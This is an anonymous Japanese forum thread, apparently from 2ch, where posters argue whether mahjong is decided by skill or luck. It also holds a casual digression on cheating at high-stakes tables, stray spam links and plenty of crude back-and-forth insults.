
起家で天和を２回連続出されたら
どれだけ実力があっても勝てません＞実力のみによると言う人
天和もしくは地和を出すか配牌聴牌でない限り、
全部ツモ切りしていては絶対勝てません
全部ツモ切りしない能力を含めて
どの牌を切るのかを選ぶ能力を実力と言うので
運だけでは（滅多に）勝てません＞運のみによると言う人
極論ですが以上により勝つためには実力と運の
両方が必要と言う事がわかります。
ただし極めて稀に運のみで勝てる場合もあります。

運も含めて実力ってのはダメ？

力３運７

>>561
そうだな
ヘタクソは降りるってこと知らないから
時々馬鹿ヅキするな
まぁそれがいい記憶として脳内に記録され
麻雀は運のみと思ってしまうんだろうが

イカサマなら間違いなく実力の差がでるんだがな。桜井と腕一本かけた勝負で
勝てる気がしない。手積みなら絶望的。ぶっこ抜きもローズも出来ませんが何か？

下手な奴ほど運の要素が大きいと言い張る。
上手い奴ほどそれ以外の要素が大きいと言う。

桜井桜井って、彼はイカサマだったんだぞ！
安藤とか荒とかの鳳凰位戦見てみろ！
運だという奴は。

↑イカサマって誰にでも出来るの？それこそ必死こいて練習しないとできねーだろ。

>>568
お前の顔がイカサマ

麻雀をやる前
「麻雀は運だろ」
　　↓
麻雀にのめり込んで専門書、雑誌、漫画ｗで研究
メキメキ上手くなる
「麻雀は実力だろ」
　　↓
壁にぶち当たる。熱心に研究してなかった奴も
何年もやってれば自分と同じぐらいのレベルまではすぐ来る。
決定的な実力差がほとんど無くなる。
「麻雀は運だろ・・・」
　　↓
（・ε・）ﾌﾟｯﾌﾟｸﾌﾟｰ

547の方、
まず答えて下さい。質問返しって大人げないよ。

>>570
＞麻雀をやる前
＞「麻雀は運だろ」

なんでやる前に判断できるんだよｗ

(*ﾟーﾟ)/＠にゃる

>>572
黒人はみんな運動神経やリズム感が強い。
クラシックはお堅くてハイソな音楽。
味噌汁にヨーグルトを入れるなんて信じられない！

君はこういう先入観を全く持ってないと言えるのかにゃ？(☆ﾟーﾟ)/＠にゃるにゃる♪

実力が全く関係してないってコトは絶対にない。

だが殆どが運のゲームだ

1位をとるのは運の要素がでかいな
ただ4位を取るのは下手なだけであって
運の問題じゃない
よって運じゃない
判る?

様々なところに運が絡んでくるのが麻雀じゃないか？

>>575
判る？とか言いつつ全く論理がなってない。
かっこええわ

(´-｀)oO(他の競技より運の要素が強いだけで実力もいるって)

>>575みたいなこと言う奴って結構いる。

「トップは運に恵まれなきゃ取れないけど、ラス回避は実力でなんとかなる」
ってやつね。
見てると、ベタ降り覚えた程度の、「日和見麻雀」打つ奴がこういうこと言うね。
そうじゃない麻雀も勉強すれば、トップ取るのも実力だってことがわかってくる。

経験積んでいろいろ勉強して、その結果「実力」だと思うか「運」だと思うか、
それは、その人の感覚だと思うんだけど、
「トップは運でラス回避は実力」なんてこと言うと、
初心者を抜け出した程度の青二才だなぁ〜って思われるのが関の山。
恥ずかしいからやめたほうがいいぞ

(´-｀)oO(同感)

>>579
あんまり本当のことを言うと>>575がかわいそうだぞ。

>>578の
一言が結論で(･∀･)ｲｲ!と思うのは俺だけか？

いや、こういう指摘は匿名掲示板でやっとく方が本人のためだと思うんだ。
俺のリアル友達でもさ、たいして強くない奴なんだけど、
後輩に向かって偉そうに
「勝つことじゃなくて負けないことを考えろ」
なんて薀蓄たれるんだよね。

後輩連中は「なるほど」なんて聞いてるんだけど、
俺らはそいつのこと、「あいつ強くねーよなぁ。ﾌﾟﾌﾟ」なんて陰でバカにしてるわけ。
つーかカモだし（ｗ

というわけで、こういう匿名掲示板で指摘しとけば、
575はリアルで恥をかかずにすむわけだろ？人助けだよ。

振込まなきゃ上手いと思っているドヘタいるよね

なぜ1位を取るのが運だと思うのだろう…

全ツッパかベタオリオンリーのカスには運に感じてしまうのかねぇ

ベタオリでも良いけど、先制リーチして攻める時に攻める。
特に先制リーチ率や先制フーロ率が重要なトップになる要素やと思われ

そりゃあ点数いっぱい取らなあかんしあたりまえか

先制リーチや先制フーロがトップを取るために重要？

じゃあポンジャンは最強じゃないっすか！

ポンジャンって何ですか？

全ツッパでトップとりゃ殆ど運みたいなもんだよな、確かに。

>>589
振ってても意味ないと思われ

なんだかんだ言っても実力だけじゃ勝てないﾖ。

>>591
誰が実力だけで勝てるって言ってたのか聞きたい

>>592
いつ「実力だけで勝てる」って誰かが言ったって書いた？

オールスターにちなんで既出だが野球での喩えを。

どんな実力のあるバッターでも、一打席の結果では
格下のバッターに劣ることがしばしばある。言い方を
換えれば、その一打席で結果を出せるかどうか、には
実力だけでどうにもならない部分、すなわち運に左右
される部分が少なからずある。
だからといって、「バッターの成績に実力は関係ない」
と言えるはずは無い。優秀な打者は「その一打席で良い
結果を残す可能性がもっとも大きい」のである。
麻雀でもこれと同じことが言える。

>>594
ほぼ禿同

野球のバッターの話だが、長打力とか打点とかは
とりあえず置いといて、打率だけに限れば、最高の
打者と最低の打者の打率は、せいぜい１５％ほどしか
違わない。すなわち、「成功率１５％の差」ってのは、
とてつもなく大きな実力差ってわけだ。
これをそのまま麻雀に置き換えるのは無理があるが、
麻雀でも１５％勝率が違うとすれば、それはとてつもない
実力差が数字に表れてる、といえるかもしれん。ところが、
「その一半荘」において、実力どおりの序列が表れないこと
も、１５％程度の勝率差では十分に起こりえるわけだ。
そこに実力差を感じられないようでは技術の向上は見込め
ないじゃなかろーか。

>>591は揚げ足取りでいっぱいいっぱい

>>ちっぱん
色々同意なコトを述べてるが基本的にガイシュツ

>>597
この件に関してガイシュツで無い意見って今更無いとおもわれ

>全ツッパかベタオリオンリーのカスには運に感じてしまうのかねぇ

正直、それに対する判断力が優れてるだけでも中々の打ち手になれると思う。
麻雀において、ある意味一番大事な能力だと思うが。

(´-｀)oO(実力が要るって言ってるのまとめると>>578が全てだよなぁ)

一位31.2%
二位33.8%
三位18.2%
四位16.9%
これじゃ弱いか?

>>601
なんの成績？

>601
んなもん見せられたってわかるわけが無い。お前が今までどんな戦い方してきたか
誰と戦ってきたか、どれだけ麻雀を知っているか。そっちの方がずっと大事だ。
つーかあんま無理するなｗ

お言葉ですが、どんな戦い方をしてたか、とかはあんまり関係ない。
誰がそれを判定するんだ？っていう問題がある。誰かの主観よりは、
数字に表れる結果のほうが、麻雀の実力を判定するにはよっぽど有
効だと思う。
それから、誰と戦ってきたか、なんてのは、まるで意味がないんじゃ
ないかな。言うまでも無いが、点5のフリーなんていっても、そのレ
ベルや傾向は千差万別だろう。「京田辺市の田中らと勝負してきた」
などといっても、説明にならないでしょ。メンツの評価の基準としては、
日本最大の雀荘すなわち東風荘がもっとも的確だろうが、それを
スタンダードに比較することは、ルールの特異性という面で不可能
ではないかな。
どれだけ麻雀を知っているか、なんてのもよくわからん。私は結構
詳しいほうだと思うが、麻雀の知識のおかげで得したことは一度も無い。

＞日本最大の雀荘すなわち東風荘がもっとも的確
よくそんなことが言えるなぁ

それこそジャン力調べにはならないって

>>603
運だけだったらどんな打ち方してようが関係ないジャン

>>605

だってさ、それ以外にどこの雀荘のメンツで比べるわけ？
「お前は京都ﾌｫｰﾕｰではメンバーのＴレベルだ」とか言って、
ネット掲示板で何らかの指標になると思う？

まあ変な言い方になっちゃったけど、「やって見ないとわからない」んだよね。
数字だけ出されてもさ。

だけど、どんな相手とやってきたか、ってのは絶対大事だよ。601の言ってる、何の
確証も無い数字がもし、小島プロとかをずっと相手取ってきてのものだったら、これは
驚異的だよ。でもテキトーな仲間を家に集めて、中には酔っ払っているような奴らを
相手にほろ酔い気分の中やってこれだったとしても、どう判断していいかわからん。
もしかしたら接待麻雀かも知んないんだぞ、601の言ってるのは。

試合に勝たなきゃならないプロ野球とかなら成績に紛れもでないだろうけど
「勝たなくてもいい」素人の麻雀の成績を鵜呑みにしすぎるのはどうだろか？
ほんといい加減に打つ人も中にはいるんだよね、これが。

>>597
( ´ー`)y-~~~ 　言い負かされるとそれか…

もっと謙虚な姿勢で打とう

勝った時
運がよかっただけで、ミスの打牌もいくつかあったからもっと勉強しよう

負けた時
実力がなかった、打牌のミスを無くすよう努力しよう

って考えればいいのでは？

610がいい事いった。自分の力で勝ったなどと思わないことだね

>>610
ええ話や...

ちっぱんって前から麻雀理論を偉そうに語ってるけど
ただの東風厨なの？

>>608
(ﾟДﾟ)ﾊｱ?相手によるんだったら麻雀に実力関係あるじゃん

>>613
東風厨であり屁度厨でもある。他にも色々。

おれは、議論スレにちっぱんが出てきたら退散することにしている。

そのこころは？

運も実力のうち。それでいいじゃないか。俺は運は２割位だとおもっとる。
ってか振らなけりゃ上手いと思ってるやつは確かにいる。
そういうやつは、大抵自分には運が無いとか、よく当り牌つかむとかいいだす。
そして先制リーチされると、チートイツばかりあがろうとしてくる。

　　　　　　　　　　　　　　＋　ロリータ　＋

東一局２順目で親の国士くらってはこりました
その人の第１打は南でした
これって振り込んだ俺が下手ですか？
運のみですか？

ちっぱんは低レベル排除にも役立っているのか。
そりゃよかった。

>>620
それは運のみだがそんなことはまれであろう

>>618
ﾜﾗﾀ
流局してチートイてんぱりつつ当たり牌だと
めちゃめちゃこれみよがしだよね。
なんかかわいく見えちゃう。

>>623
チートイのみに頭ハネされたときは、かわいく見える？

既出すぎるけど、運の要素が強いが実力で決まる部分もあり、
ほんの僅かながらそこで差がつく、といった感じだろう。
だから実力のゲームといって支障ない、と考える。

東風荘で言えば、常連の大体のＲってずっと1900前半でいる奴とか、
2000以上をキープしてる奴、常に2100前後でいる奴とか、はっきり実力差は出てると思う。

とはいえ、将棋の濃密な一局を戦った後に麻雀をやると、ゲームとしての麻雀の
勝負に関してすごく虚しく感じることはある。麻雀自体は楽しいのだが･･･

あと実力が同じぐらいならどんな競技も
運がすべてです

>>625
既出って断るくらいなら発言するなよ。

>>627
麻雀板なんて既出で成り立ってるようなものよ。

>>627
いちいちそんなレスつけるな。

>>629
　∧＿∧　
（ ´∀｀）オマエモナー
ちなみにここはレスをつけた人をけなすスレになりました。

>>630
ＡＡずれてるよ（ﾌﾟﾌﾟ

>>631
そんなこと気にすんな

４打ちに限っては運４割、実力６割だな。
３打ちに限っては運７割、実力３割だな。

相手の待ち牌を読むのが実力。それ以外は運の要素もある。
麻雀はツモよりロンのほうが多いもの。
そう考えたら実力はかなり必要なものだと思うが・・・

フリーで久し振りにドラ単騎待ちリーチしたらだしてくれた
そういう面子だったYO〜

しかも俺、親　で二萬待ちで引っかけって感じで五萬捨ててある。
でもでないなぁと思ったのに・・・・・。

スジなんて打たねぇよ。

単純に考えて、サンマのほうが運の要素は少ないよ。
牌種が少なく、情報の可視率が高い。
回転が速いから、同じ時間打てば実力どおりの結果に
なる可能性が、四人うちよりはるかに高い。

ふぅ

無意味な話し合いが繰り広げられてるなぁ・・・

運とか実力とか・・・

結局俺がなんて言おうと君たちは考えを変えないんだろ？
馬鹿ほど自分の曲がった価値観を変えようとしないからね・・・
無駄だから俺はもうなにもいわねーよ。疲れたよ

知ってる？馬鹿につける薬がないとは君たちの事いうんだよ。

実力が運を上回るワケねーだろDQN

昔から才のある人間のいうことは異端とされるからなぁ・・・
ガリレオとかさぁ

今も昔もこいつら凡人は成長しねーなぁ

うむ、昔は宗教的理由とかで間違った考えを
頑なに信じてる人がいたけど、現代では宗教的ではないものの、
大衆迎合的にそれを信じてるって感じだね。
つまり、真理を求めるより大多数と同じ考えを求める。
そして大多数は凡人であるから、間違った考えが
マジョリティとして形成され、マイナーな考えというだけで
間違いと決め付けられる。
これは現代の日本人に特に顕著な傾向だね。
真理を求めて論敵と自ら火花を散らすより、
多数派っぽい意見の陰で、誰か雄弁な者に
自分を投影して議論してるつもりになるという。
こういう考えがはびこるのも時代の流れなんだろうなあ。

>>641
いい文章だね。
感動しますた。

同じ位の実力になったら、いつまで冷静に打っていられるかの勝負だと思う。
麻雀は、いかに早くあがるかを競うのだから、
冷静に河をみて相手に振らないようにしていれば、大きく負けることは無い。
少しでもあつくなったりすると、頭の回転が鈍くなって、普段の実力がでない。
冷静さが一番大切。

思ったけど、発言してる人の麻雀のレベルが違うと
意見もかみ合わないんじゃないかな？

結局１は何が言いたいんだ？

>>645
１はお得意の論破がしたかっただけでしょう

自動卓だと運も必要だけど手で積むやつだと
９９％実力だよ。イカサマしたら絶対負けないもん。
イカサマもばればきゃ実力でしょ。
イカサマしないまでも自分の積んだ山ぐらい半分以上覚えてたら負けないよ。

>>1
お前に運がないからヘボと言われるのなら、麻雀やめろ。
それだけのことじゃん。
ｶﾞﾀｶﾞﾀ抜かすな。ヘボ。

マジレスすると相手に振り込まないのは実力だよ
先にリーチしても、相手に振り込んだら意味ないじゃん

↑ほんとかよ？そりゃ実力もあるだろうけど、手の内にロン牌がなけりゃ
どうしたって振り込めないのに･･･それに立直しても振り込んだら意味ないってのも
短絡すぎない？

時々にでてくる「イカサマ〜」って言ってる奴ウザイ。
黙ってマンガ読んでろ。

649の深い意味に気付かない素人は去れ

>652漏れはキヅイタYo！！

俺もたまに言うが。 > イカサマ

別に洒落でもマンガでもない。
高レート→イカサマは、とても自然な事なんだよ。

>>654
参考までに聞きたい　
具体的にどれぐらいの高レートになったらイカサマ師がでてくるの？

＞高レート→イカサマは、とても自然な事なんだよ。

(･,_ゝ･)ﾌﾟｯ

>>654
漫画の読みすぎ

身の周りで８９３麻雀打って家まで無くした人がいますが何か？

>>658
だから？

>658
1000点＝893円？

>>660
ワロタ！
計算面倒くさいなぁ〜

>具体的にどれぐらいの高レートになったらイカサマ師がでてくるの？

ピンで握りこんでた奴を1人見た。
それ以上は打った事がないので知らん。

が想像はできる。局ごと万単位の金が動くような麻雀では
他人がヒラで打ってくれる事など期待できない。

>>662
漫画の読みすぎ2号

まーな。今はそんなレートの卓が
そもそも存在しないかもな。

>>664
自殺した人見ると考え変わるよ。

そう思ってるなら囲碁か将棋をやれ

そう思ってるならLOTO6かtotoをやれ

高レート＝いかさまって言う奴は漫画のみすぎに賛成
むしろいかさまは友達同士でふざけてやることのが多い
時々誰とも打ち合わせしてないのに『７色ローズ！』とか叫んだりしたりね

1000点500円程度の麻雀ならよく観戦するんだけど、
誰もイカサマなんかしてないよ。単に金持ちってだけ。

だ〜か〜ら。
指が少ない人たちの麻雀ですよ？
通しなんてバリバリですよ。

>>670
通しなんていかさまの内にはいらん

(ﾟДﾟ)ﾊｱ?素人か？

>>670
つーかあなたは指がないヒトですか？

通しなんてメンバー内ではそれなりに行われてます

>671
馬鹿いってんな。自分以外の3人が通しやってたらどうやって戦うの？
あとギャラリーに通しなんてされたら勝ち目ねーぞ

つーか高レート＝ヤクザってのが、漫画の読みすぎ。

どーでもいいけど、このスレは馬鹿の溜まり場なの？

<<676そうなんじゃないか？一番馬鹿は1だけど...

バカ度単調増加スレ

>>676
ｵﾏｴﾓﾅｰ

>>674
かつ負けるの話じゃねーっての

もしも半荘1回十万円の麻雀を打つとして、
何の不正も試みない奴が居るだろうか…

いるわけねーだろ。

>>681
じゃあキミはレートがあがるとサマやるんだ？

できることは全部やる。

大手芸能事務所の社長とかは、ラスベガスなんかで数千万って金をばらまくのね。
別にイカサマやって一儲けなんてことじゃなくて、
純粋に「その程度の金は遊びの範囲」な人種が存在するわけ。
程度の差こそあれ、「高レート麻雀」ってのもそういう方々の遊びなんですよ。

なんつーかね。金なんてものは黙ってても億単位で転がり込んでくるんだから、
麻雀でイカサマなんかやって神経すり減らす必要ないでしょ。

別に、「高レート麻雀」なんていうチンケな博打で小銭かせぐ必要ないんだから。

>>683
なにもできないくせに偉そうだなぁ

むしろ

＞もしも半荘1回十万円の麻雀を打つとして、

誰でもイカサマやっちまうような激レートってのが
半荘１回十万かよ。
そのケツの穴の小ささにﾜﾛﾀ

８９３は仕事ですから。

漫画と現実の区別がつかないﾔｼがいるなぁ・・・

>687
まあまあそんなこといわずにさ
きっと彼の月給は十万なんだよ

みんな平和だな。1回10万の勝負にヒラで挑めるほどの
お金持ちなならそれもいいが。あいにく月給20万なのでな…

「麻雀やろうぜ。千点5千円でどうよ？」と言われたら
(ああ、こいつにはサマの準備があるんだな)と考える。
それが当たり前だと思っている。

>>691

愛読書はなに？

>>692
「車輪の下」

>>691
バカじゃねーの？

つーかレートがあがるとサマでかつと思ってるあたりは漫画の読みすぎ

ヘタレばっかｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

>>1が一番ヘタレ

アタシは1本千〜五千円以上のサンマやってるけど､レベルはほとんど家庭マージャン｡

麻雀が運？ばっかじゃねえの。
そんならポーカーでもやってろ。
ぜってー安定して勝てないから

>つーかレートがあがるとサマでかつと思ってるあたりは漫画の読みすぎ

博打にイカサマがつきまとう事実は、歴史が証明している。

プロの誰だかは1晩で1千万勝った記録があるそうだが、
俺に言わせれば、そんなデタラメなレートで正々堂々
打とうと思う奴の方が、よほどコミックだ。

もしも千点5千円のレートを受けてくれる阿呆がいるとしよう。
俺は打ち子を2人雇い、そいつと打つ。絶対に負けない。
で、レートがそれなら3人分の日給が出る。

>>674
三対一で通しやられてもあんまり意味ねぇよ
もしも卓の下で変な動きしたら、そこで腕を掴めばいいんだし
実際通しで分かるのなんて、それぞれの街ぐらいなんだから
たいしたことない。差し込み合うこと程度しかできないだろ？
もっともそれで困ることに、ならないようサシウマは避けるけどね
しかも向こうの奴はマンガンつもっても、入るのは多くて４０００点だぞ
それに比べこっちはそのまんま点になるわけだしね
後ろの奴が通したら？お前は後ろの奴に牌をみせるのか？？？

書いてる傍からすげえのが居るな。>> 700

3対1なら積み込みもスリカエも通しもやらなくたって
負けやしねえよ。麻雀知ってんのか…
トップは毎回毎回、組んだ3人中から出るんだぜ?

競馬だったらＧ１クラスで１レース３０００万は５〜７人はいてる
それに比べれば麻雀なんてかわいいものだ

＞博打にイカサマがつきまとう事実は、歴史が証明している
あんた何時代のヒト？
昔の話してどーすんの？

＞プロの誰だかは1晩で1千万勝った記録があるそうだが、
＞俺に言わせれば、そんなデタラメなレートで正々堂々
＞打とうと思う奴の方が、よほどコミックだ。

そういう考えしかできねーやつは高レートに手だすな

俺の事なら心配いらんよ。
勝てる算段が立たない限り、手を出さないから。

本当に手を出しちゃいけないのは、
そういう算段を立てようという思考回路を持たない、
他人がそういう算段を立てる可能性を疑ってかからない連中。

平和で、善良で、そしてあまり金持ちでもない、
つまり俺の発言に拒絶反応を示した連中だナ。
食われるだけだ。やめておけ。

>実際通しで分かるのなんて、それぞれの街ぐらいなんだから

待ちぐらい、って「ぐらい」で片付けるなよ、それに待ち以前に手牌を教えれるんだから
ドラポンとか自由自在だし。山越しとかも出来るし。私は貴方みたいに三対一で
勝てるほど強くないんですよ。

妄想でオナニーするスレはここですか？

みんな彼を責めるな。
彼は純真な心の持ち主なんだよ・・・。
漫画や噂話を100％信じている。
現実を知らず、一部で行われていることがこの世の全てだと思っている。
また、間違いを指摘してくれる友人もいない。
暖かく彼が間違った方向に進むのを見守ろうよ。

平和な事だ…。それはそれで幸せなのかもしれない。

が、落とし穴が案外そのへんに転がっている事もある。
俺よりタチの悪い奴が現実にいくらでもいるしな。ご用心。

じゃ、だいたい引いたようだし、もう消える。

赤木しげるみたいでかっこいいべ( ● ´ ー ｀ ● )

きたろうの人？

東風でＲ１４０落ちた。
やっぱゲームじゃ実力は関係無いんだな。
全国大会で五位に入ったことあるのに。
さてと麻雀大陸やろっと。

おい>>1　聞いてるか
ポピュラーな両面待ちで上がり牌は８枚しかないんだぞ
他の3人が暗刻か対子で持ってて、
リーチ掛けたら、まず振りこんでてくれないぞ
バカのリーチ覚えはヘタクソな祥子

>>712
まあ人集めるために、実際の麻雀より上がりやすいのは確か
東風荘は東南荘や麻雀大陸より牌が大きくて見やすい
テレホ時は人が多過ぎてつながりにくいのと重いのが嫌
でも東風荘だと3回に1回は優勝できるのが(･∀･)ｲｲ!!
1日でR200も上がっちゃった
さてと東風荘やろっと。

>713聞いてるよ

>>705
誰も心配なんかしてねーっての
おまえなんかどーなってもかまわねーし。

高レートだから絶対勝つ算段がないとやらない？
まあ、麻雀を金稼ぎの物としかみてないやつにはそうなるだろうな。

で、

結論はどっちなの？

運なのか実力なのか

>>717
どうしてそう片方だけなのだ？

運と実力じゃダメなの？

>>705を大勢で叩いているようだが、
あんたらさ、勝てるかも・・とか思って手だしちゃう様なやつらだろ？
その他大勢、一般大衆だよあんたら。漫画でもいるじゃん鴨役、それ。
嫌われ者だが慎重な７０５の勝ち。

>>719
慎重じゃなくただの臆病。

つーか>>705を叩いてる連中だって怪しいと思えばいかねーよ

まあｼﾞｻｸｼﾞｴﾝはやめとけよな

>>719
レートが少しあがると手が縮こまっちゃうような人には一生理解できねーと思うよ

>>719
彼が叩かれてるのｲｶｻﾏが今の時代でも頻繁に
行われていると主張してるからだろ。
自分で体験したわけでもないのに
高レート　＝　893　＝　ｲｶｻﾏ　だもの・・・。
ある意味笑える。

俺はお前等の阿呆さ加減のほうが笑えるんですけど
お前らのなかには一人も特別なやつなんていねぇよ
みんな　パ　ン　ピ　ー　
かもられるだけですよ。本当カキコ見てると笑えるんですけど
お前等のレヴェルのひくさがさ。まぁ麻雀板にそんなのもとめてもしかたないんだけどね（ｗ

>>723
何様のつもりか聞きたい

自分が一番腐った人間のくせに妙にインテリぶって
長い文章で他の奴を煽る>>1はなんなのでしょう？

>>724-725図星つかれるとこれか？ｗ

何を言おうがおまえらはパンピー
この板の住民はみんなレベルが低すぎる。
俺ぐらいじゃねーの？マトモなやつはヨ

>>726
どう図星なんだ？
阿呆とかレベル低いってコト？

>>1がマトモかどうかは、とりあえずおいといて、
この板にマトモなコテハンっていると思う？

妄想オナニースレですねｗ

>>691
＞「麻雀やろうぜ。千点5千円でどうよ？」と言われたら
で、お前は実際に言われたことあるの？

俺は言われたことないんだけどさ、もし言われたとしたら。
言った奴が知り合い→冗談だなと思って適当に相手する
言った奴が知らない奴→そういうレートで遊べる身分の奴なんだなと思って断る

というかね、イカサマの準備があって「1000点5000円」を誘う奴なら、
相手から1000点5000円という言葉が出た時点で、すでに監禁状態にあるのが普通と思われ。
よって >>705 の心配は全く的外れなのでは？

>>731
しょうがねーよ
奴は漫画の読みすぎで現実が見えてないからサ

俺の主張はこう。
・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・そこではイカサマが日常化しているであろう。

反する主張はこう。
・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・そこでは全員がヒラッコで腕一本の勝負をしているであろう。

漫画の読みすぎはお前らの方だ…
人間は何千年も昔から、イカサマをやってきたの。
何千年後の未来にも、人類と博打がある限り、イカサマはあるの。
「今時イカサマなんてない」その思い込みに、根拠があるのか?

>よって >>705 の心配は全く的外れなのでは？

お前は心配いらないクチなのでよろしい。

>>733
（ ´,_ゝ｀）ﾌﾟｯ

>>733
どうしてそう偏った考えしか出来ないの？

＞そこでは全員がヒラッコで腕一本の勝負をしているであろう
目を覆うほど馬鹿な解釈ですね。

いい加減粘着でｼﾞｻｸｼﾞｴﾝはやめれ

んー? じゃあお前らの主張はこうか?

・日本のどこかに、おそらく高レートの卓が(少数)存在するであろう。
・その中にはヒラッコの卓もあるがサマ師のいる卓もあるであろう。
(おそらくは)・ヒラの卓の方が多いであろう。

どうでもいい主張だな。2番目まではまぁ飲める。
3番は不自然だが、まぁ勘定した訳でもないし反証はできん。
ただ、高レートには必ずサマ師が居ると前提する事をオススメする。

ところで何度か自作自演の指摘があったが、全部ハズレ。

>>736
俺の主張はさ、

俺らが高レートだと思ってる卓で気楽に遊べるような金持ちが日本にはたくさんいる。

それだけだ。

俺ら、点５や点ピンで打つとき、腕一本とかイカサマとか考えないだろ？
そもそも別に『真剣勝負』しに行ってるわけでもなし。遊びだよ遊び。

みんな同じ。あとは、人によって金銭感覚が違うだけ。

つーか、俺がサマ師だったら２ちゃんねら雀士なんか相手にしないよ。
金ってのは、持ってる奴から巻き上げるもんだ。

>俺らが高レートだと思ってる卓で気楽に遊べるような金持ちが日本にはたくさんいる。

少数とは思うが、居るんだろうと思う。

>つーか、俺がサマ師だったら２ちゃんねら雀士なんか相手にしないよ。

そうだろうな。お遊びで高レートを打つお大尽に、接近を図るだろう。
結果、サマ師は高レート卓にお邪魔するじゃないか。
ヒラで打ってるフリしてな。

>>739
どんなサマするよ？？
スリ変えか？
ブッコ抜きか？
どの程度を高レートと思ってるのか知らないが、
それこそデカウーピンくらいで遊んでるオジサマ達相手に
ツモすり変えみたいな類が限度でしょｏ

>>740
ぶっこ抜きとか、通しとかじゃないの？やっぱ。
裏ドラすり替えもでかい！！（チップあるならね）

>>741
ぶっこ抜きは自動卓でやるにはほぼメリットなしｏ
通し？視線が必ず浮くので高レートでは危険ｏチクローズなんて論外ｏ
裏ドラすり替えくらいはいけそう！！

てかぶっこ抜きに関してはメリットがない上にばればれ

論破された奴等の会話はいつだってこっけいだなＷ

もう格付けはすんじまったからな（ｗ

ahya

uhya

1,2ヶ月前だったか、近代麻雀何だったかで1ページもののコラムに、
高レート雀士の取材記事が載ってた。主に行われているイカサマは
2人で組んでの手牌スリカエだという。

おそらくは5〜6巡目くらいに、手の来てる方の不要牌と
来てない方の有効牌を取り替えるのだろう。

卓上、2人の手牌以外にインパクトを与えない点と、現場を押さえ
られ得るタイミングが、1局の間に1秒内外であろう点で優れている。

つうても竹書房の記事だから、真偽は知らん。

うざい

＞ただ、高レートには必ずサマ師が居ると前提する事をオススメする。

( ´_ゝ｀)ﾌﾟ
おまえは体験したのかよ
偉そうに言うけどどうせそれらがこわくてテンゴの雀荘すら入れないんだろ

人を煽ることでしか自分の存在を証明できない君達には（・∀・）ﾜﾛﾀ

>>752
そりゃおまえやんけ

「麻雀って実力関係あんの？」ってスレ自体はいいと思うんだが…やらない人はそう思ってる人多いし。
ただ１がアホな負け犬なことがこのスレ最大の失敗
>>753の言う通り>>1見ろ

パチンコ業界人が質問に答えてくれる。結構面白い。

http://www8.plala.or.jp/nasuka/rumsses.htm

レートと実力って比例する？

何をいってるんだか…

俺ほど完璧な存在はいねーヨ！

リーのみ辺張待ちで親のリーチに挑んでいくような輩に、
ボコボコにされちまった。
読もうなんて考えを持ってしまったら、
素人には勝てる気がしない。

＞ところで何度か自作自演の指摘があったが、全部ハズレ。
ｼﾞｻｸｼﾞｴﾝをやるヤシは必ずこういうことを言う

そもそも全部ってなんやねん…

このスレタイけっこう有名だぞ（・∀・）
いろんな板でつかわれてる！！
http://ex.2ch.net/test/read.cgi/pachi/1026965985/l50

ここでも（・∀・）ﾊｹｰﾝ
http://game.2ch.net/test/read.cgi/gal/1026966652/l50

>>761
意味わからんけど
なんかﾜﾗﾀ
ギャルゲー板でそんなこといってもなって感じ

>偉そうに言うけどどうせそれらがこわくてテンゴの雀荘すら入れないんだろ

点5のサマ師か。それは怖いな。壊れてるよ。

が、雀荘自体は今じゃゲーセンと同じだ。
レート安いもん。

まあまあ、麻雀なんてパチンコや競馬と同じギャンブルなんだから負けてもそんなにムキにならずに

なぁんだ、ネタスレかよ。そう思うと笑えちゃうね

運が７、実力が３ということにしとこやないか〜

新感覚のポータルコミュニティサイトが遂に出来ました！！
今までの出会い系サイトとは一味もニ味も違うサイトです。バーチャルタウンを実際に体験できます！！！
詳しくは下記ＵＥＬをクリックして、確かめて！！
http://www.e-mansion.co.jp/co/ac.html

>766
そんな単純なもんでもない

>>768
いや、そんなもんだろ。

＞＞1
麻雀ゲームでしかした事ないヤツだろ？
１年以上やって「麻雀に実力無い」なんて言えるヤツ一人も居ないぞ。
妄想なら一人でやれな。
オナって寝ろ。

麻雀＝ギャンブルといってる時点で負け組み

この板のカテゴリみろ馬鹿

ほとんど、運じゃない？
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
社会的成功者とかあるけどさぁ運がよかった人たちの事じゃないの?
1みたいなクズだろうがなんだろうが金持ちの家に生まれるか宝くじでも当たりゃ
貧乏人たちはなにも言わせないよね。
君タチにはﾜﾛﾀ（・∀・）

帝京大総長の弟が経・法でも口利き、過去３億所得隠し
http://headlines.yahoo.co.jp/hl?a=20020717-00000101-yom-soci


帝京大学を廃学にしよう
http://school.2ch.net/test/read.cgi/campus/1026885595/

◆C14FUkYEは脳内保線中　低狂大ｽﾚpart３
http://school.2ch.net/test/read.cgi/campus/1025989112/

帝京大学の過去の犯罪特集・１
http://choco.2ch.net/news/kako/1015/10154/1015445145.html

帝京はもうだめか

提供はこえからだろ

ほとんど、運じゃない？
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
プロゴルファーとかいるけどさぁ運がよかった人たちの事じゃないの?
ド素人だろうがなんだろうが運良くホールインワンとか連続ででれば
タイガーウッズとかだって惨敗だよね。
君タチにはﾜﾛﾀ（・∀・）

つうか
麻雀に実力って関係あんの？
の時点でなんかおかしくないか･･････
実力というものが存在してるだけで関係はあるぞ･･････

お前ら、半荘１０回やって、一回たりともミスしなかったなんて日あんのか？
ちなみに俺はない。何らかのミスをしている（結果論としてのという意味ではないぞ）。
従って俺にとっては麻雀は実力１００パーセントだ。

背理法で証明

麻雀に実力はないと仮定する

続きはまた今度

すると無作為に適当な一枚を切り聴牌を確認もせずにリーチをかける者と
役を作ろうと牌を確率的に能率のいい打ち方をする者との間に
成績の差はないことになる

>777
だからよー、ゴルフは運でどうこうつーもんじゃないだろ。俺なんかやった事
ないからまともに飛ばす事も出来ねーと思う。大体パー３全部ホールインワンで
片付けたって、パー４・５はどうするのよ？

>>782
そんなあなたが大好きです

>>782
飛ばせるようになれば運じゃん

俺が勝てば実力負ければ運

>>785
真理だ。

俺が勝てば運負ければ実力

>>787
卑屈なやつだ

運　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　こ

>>789
hagesikudoui

運があれば勝てるなら、今のマーシー田代でも勝てまつか？

このあいだうまいのと強いのは違うといわれたのですがよくわかりませんでした
どういうことですか？

＞792　麻雀なんて調子が良いときは誰が打っても勝てる
　　　調子が悪いときにいかにしのぐことができるかが腕の差だと思う
